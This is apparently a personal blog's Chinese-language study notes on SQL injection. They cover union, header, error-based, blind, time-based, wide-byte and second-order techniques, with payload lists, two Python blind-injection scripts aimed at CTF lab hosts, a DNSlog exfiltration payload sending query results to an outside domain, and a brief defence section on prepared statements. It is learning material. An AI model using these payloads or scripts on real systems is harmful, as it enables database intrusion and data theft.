SQL注入

原理

用户拥有可控参数,并且用户传入的参数被当作代码执行。

sql注入流程图

联合查询注入

UNION操作符可用于合并两个或多个SELECT语句的结果集,进行sql语句拼接。

1.先判断是否存在注入

2.判断参数类型

3.使用ORDER BY 查询列数,观察回显的位置

4.获取数据库名。

5.获取数据库中的表名。

6.获取数据库的表中的所有字段名

7.获取字段中的数据

数据库

查询语句

1
2
3
4
5
6
7
8
select database()

select table_name from information_schema.tables where table_schema=database() limit 0,1

select column_name from information_schema.columns where table_schema=database() and table_name ='表名' limit 0,1


select 字段 fromlimit 0,1

或者使用group_concat()函数

1
2
3
4
5
6
7
8
9
union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')

(select group_concat(column_name) from information_schema.columns where table_name='表名')

select group_concat(字段名) from 数据库名.表名


POST注入

原理

都是一样的,不同的是,

参数传递是POST类型,经常用burp suite进行测试

手动测试和上面一样

经常出现在:登录框,搜索框。

sqlmap测试:

1.sqlmap -r 1.txt, sqlmap -r 1.txt –dbs等

2.sqlmap -u http://www.xxxxx.com –data “id=1” –dbs

其中1.txt为我们抓包获得的内容copy to file。

目的:如果页面有cookie和session,这样我们就不用单独添加这些值的内容了。

注:如果POST传入多个值,可以通过加*来对*前面的参数进行测试。

HEADER注入+报错注入

原理

  • 后台为了获取我们的信息,会导致header头(请求头)的部分参数可控,从而产生漏洞。

发生地方

  • http header注入通常发生用户请求头的XFF,User-Agent,referer等地方。主要是应为后台如果获取你的ip,用户信息(User-Agent)等就有可能出现header注入。
  • 黑盒测试会比较困难,白盒测试我们可以通过查看代码查看。
  • 因为利用insert into 插入页面,基本不会有回显,可以通过盲注或者报错注入进行构造sql语句。

php超全局变量:

$_REQUEST(获取GET/POST)

$_GET

$_POST

$_COOKIE

$_SERVER(包含请求头的大部分信息,路径,以及脚本位置等等信息的数组) 功能非常强大

$_SERVER[‘HTTP_HOST’] 可获取请求头里面的host内容

$_SERVER[“HTTP_USER_AGENT”] 获得UA

$_SERVER[“REMOTE_ADDR”] 获取用户ip

参考文章

updatexml()

updatexml() 是用来更新xml的一个函数,语法:updatexml(目标xml内容,xml路径,更新后内容)

updatexml(1,concat(0x7e,(select database())),1)

select database()为我们写入的子查询,concat可以将字符串进行拼接,0x7e为~的16进制,数据库支持16进制。

我们添加了错的xml路径,从而实现报错,将我们的


靶场

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';

我们查看源码发现有过滤,$uagent = $_SERVER['HTTP_USER_AGENT'];发现服务器会获得我们UA里面的信息,并且 $Insql = "INSERT INTO uagent (uagent,username) VALUES ('$uagent','$uname')";存放数据库中。

User-Agent: 1’ or updatexml(1,concat(0x7e,(select database())),1) or ‘

或者使用User-Agent: 1’ or updatexml(1,concat(0x7e,(select database())),1),1)#

因为传入的是2个参数,我们也需要对后面的参数进行闭合。

Snipaste_2021-02-05_23-41-35

我们看到报错的PATH,下面就是把拼接的语句换成联合查询的语句就ok了

1
2
3
4
5
6
7
' or updatexml(1,concat(0x7e,(select database())),1),1)#                    爆出数据库

' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1)# 爆出表名flag_head

' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name ='flag_head' limit 1,1)),1),1)# 爆出字段名flag_h1

' or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1)# 获得flag

extractvalue()

该函数是对XML文档进行查询的函数,语法:extractvalue(目标文档路径,xml路径)

-1’ or (extractvalue(1,concat(0x7e,database(),0x7e))),1)#

-1’ or (extractvalue(1,concat(0x7e,database(),0x7e))) or ‘

注意闭合。

Snipaste_2021-02-05_23-41-35

我们同样发现报错的PATH,其余和上面同理

其他报错注入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

盲注

场景

服务器对我们的输入错误并没有很明显的报错回显。

分类

布尔盲注: 页面只会显示true和false。

时间盲注 : 如果页面无论输入什么页面都正常显示,但当我们加入例如 sleep(4),页面延迟4秒,页面即存在时间盲注。

函数

length() 返回字符串长度

substr()截取字符串。substr(‘str’,位置,length) stustr(‘qwer’,1,1) 返回q,stustr(‘qwer’,2,1)返回w。布尔盲注和使用。

ascii()返回ASCLL值

if( condition,true _result , false_result ) 例如:if(5=5,1,0)就会返回1,if(6=5,1,0)就会返回0。延时盲注会使用。


布尔盲注

and length(database())=11–+

and ascii(substr(database(),1,1))=111–+ #利用ascii值的方式进行盲注

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=111–+

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name =’表名’ limit 0,1))=111–+

and ascii(substr((select 字段 from 表 limit 0,1))=111–+

这个是通过bp跑的其中一个图,里面长度有时候不好确认,我们可以添加Grep-Match进行匹配页面相关字符串进行筛选,方便我们统计s。

盲1

不会吧,不会吧,还有人不会写python盲注脚本吧,额好像在说我i

下面是 学习的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding:utf-8 -*-
import requests #bool盲注,二分盲注
import time
url = "http://injectx1.lab.aqlab.cn:81/Pass-10/index.php"
def getdatabase():
global url
database = ''
for i in range(1,20):
min = 32
max = 127
mid = (min+max)//2
while max>min:
payload = "?id=1 and ascii(substr(database(),%d,1))>%d" % (i,mid)
#数据库的第一位ascii值 >mid => 我们要使用>%d,不然你下面if,else就要改
url1=url+payload
#print(url1)
req=requests.get(url1,timeout=10)
if "No results found" in req.text:
max = mid
else:
min = mid+1
mid = (min + max)//2
if mid<=32 or mid>=127:
break
database +=chr(mid)
print(i)
print("database =>"+database)



getdatabase()


其他利用方式

1
2
3
4
5
?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
#如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
#若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1

时间盲注

当sleep被过滤后,可以考虑用笛卡尔积进行时间盲注:贴的大佬脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
from time import *

url="http://59213b9c-a875-4ea3-994a-ab8b17cc4954.node3.buuoj.cn/user/login"
flag=""
for i in range(1,100):
min=32
max=128
while 1:
j=min+(max-min)//2
if j==min:
flag+=chr(j)
print(flag)
break
payload="-1'or if(ascii(substr(password,{},1))<{},(SELECT count(*) FROM information_schema.tables A,information_schema.tables B,information_schema.tables C),1)#".format(i,j)
data={
'username':'admin',
'password':payload
}
try:
r=requests.post(url=url,data=data,timeout=0.7)
min=j
except:
max=j
sleep(0.4)

dnslog注入

通过dns解析将数据库查询的不能回显的数据外带出来。

1
2
3
4
1.select load_file('d:/1.txt');  
用这个函数 mysql需要配置
2. UNC路径 windows中一个SMB服务,通过该路径请求一些数据 \\servername\xxx\xxx-> \\ip\xxx\xx ->\\abc.com\\abc(出现了域名解析)
也可以这样写 //servername/1.txt (推荐

语句

1
2
3
4
5
load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
select load_file(concat('//',(select database()),'.zwuddi.dnslog.cn/a.txt'));

总结:
select load_file(concat('//',(sql语句),'.zwuddi.dnslog.cn/a.txt'))

例如

1
http://59.63.200.79:8022/dns/index.php?id=1 and (select  load_file(concat('//',(select database()),'.5anley.dnslog.cn/a.txt')))

tips:

盲注五种方法:sleep(),benchmark(t,exp),笛卡尔积,GET_LOCK() RLIKE正则

提高盲注效率:二分法,位运算法

宽字节注入

PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来,进行闭合

1
2
3
4
5
6
7
输入:'   ->\'

\ -> %5c

输入:%df' -> %df\' ->運'

%df%5c -> 汉字

利用:

1
id=1%df' union select 1,2,3 -- qwe

魔术引号PHP5.3.0后就被废除,5.4.0后就被移除。(但可能会有人写魔术引号函数进来利用).

二次注入

1
2
插入恶意数据
引用恶意数据

img

防御

https://blog.csdn.net/weixin_45345384/article/details/120888172

  • 预编译
  • PDO
1
2
3
4
5
模拟预处理的方式是在客户端本地执行预处理的模拟,最终将拼好的sql语句发送到mysql服务器进行执行(实际上就是完成了字符串拼接

本地预处理方式则是分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器
然后就可以多次发送占位符参数给mysql服务器进行执行(多次执行

防止了sql语句的拼接

  • 正则规则

数据库类型判断

脚本语言+数据库

常用搭配:

PHP MYSQL
asp access/mssql
asp.net(aspx) msssql
java (jsp) oracle

数据库特性

  1. 注释符

mysql: /*

Oracle和Mssql:--

子句查询标识符:; (Oracle不支持多行,如果错误,可能是Oracle数据库)

  1. 函数

and (select count(*)from MSysAccessObjects)>0 access数据库
and (select count(*)from sysobjects)>0返回正常说明是mssql数据库and length(user0)>10返回正常说明是 Mysql
Oracle 可以根据from dual 虚拟库判断
select extract(dow from now)) . select version) -- Postgresql

参考5号mo区

总参考:

https://mp.weixin.qq.com/s/xz4qtjgLDuozyv9IYMwbLA

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信